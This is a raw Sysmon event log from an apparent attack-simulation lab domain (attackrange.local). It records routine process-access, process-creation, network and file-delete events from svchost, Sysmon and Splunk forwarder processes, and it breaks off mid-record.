\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017448Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017447Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017446Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017445Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7400-613B-2305-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017444Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017443Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017442Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.625{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7400-613B-2305-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017441Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.627{625C326B-7400-613B-2305-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017440Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.375{625C326B-7400-613B-2205-00000000F101}29483588C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017439Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7400-613B-2205-00000000F101}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017438Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017437Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017436Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017435Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017434Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017433Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017432Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017431Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017430Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017429Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7400-613B-2205-00000000F101}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017428Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.125{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7400-613B-2205-00000000F101}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017427Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.126{625C326B-7400-613B-2205-00000000F101}2948C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000054456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:29.411{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63104-false10.0.1.12-8000- 23542300x800000000000000054455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:32.117{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=B6BCCF73C7A5D967B57C44197E70D7EB,SHA256=1C49BF08461077AC4F144706579E27CFCF0015BB044E117453E2E7C17429E087,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:33.870{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1CB100DA282B1025DE45C6B77EA4AEC,SHA256=A14B9EB0149283D1318E43048138661C86AEFBB7D36CF1129E60B8207032B1D3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017470Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:32.416{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50359-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000017469Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7401-613B-2405-00000000F101}924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017468Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017467Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017466Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 